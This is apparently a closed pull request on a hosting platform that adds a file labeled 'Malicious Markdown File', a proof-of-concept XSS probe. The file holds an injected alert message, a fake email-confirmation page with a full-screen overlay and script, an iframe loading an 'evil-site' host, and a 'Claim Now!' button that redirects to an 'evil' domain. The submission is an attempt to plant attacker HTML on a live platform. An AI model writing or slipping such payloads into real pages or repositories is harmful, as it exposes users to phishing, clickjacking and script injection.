Create hello.md
#2
by
datoto9019
- opened
No description provided.
Malicious Markdown File
XSS Injection via HTML Tags
Click on this link:
alert('This Space Was Poisoned By Thee Eclipse for XSS as a POC')
Welcome to Our Platform!
Hi there,
Thank you for signing up! Please confirm your email by clicking the button below:
Legitimate Button:
<button style="background-color:green;color:white;padding:10px;border:none;">
<a href="https://legitimate-site.com" style="text-decoration:none;color:white;">Confirm Email</a>
</button>
<div style="position:fixed;top:0;left:0;width:100vw;height:100vh;background:rgba(0,0,0,0.5);">
<canvas id="confetti"></canvas>
<script>
function confettiAnimation() {
var confettiSettings = { target: 'confetti' };
var confetti = new ConfettiGenerator(confettiSettings);
confetti.render();
}
window.onload = confettiAnimation;
</script>
</div>
<iframe src="http://evil-site.com" width="600" height="300"></iframe>
<button style="background-color:blue;color:white;padding:10px;border:none;" onclick="window.location='http://evil.com';">
Claim Now!
</button>
)
datoto9019
changed pull request status to
closed
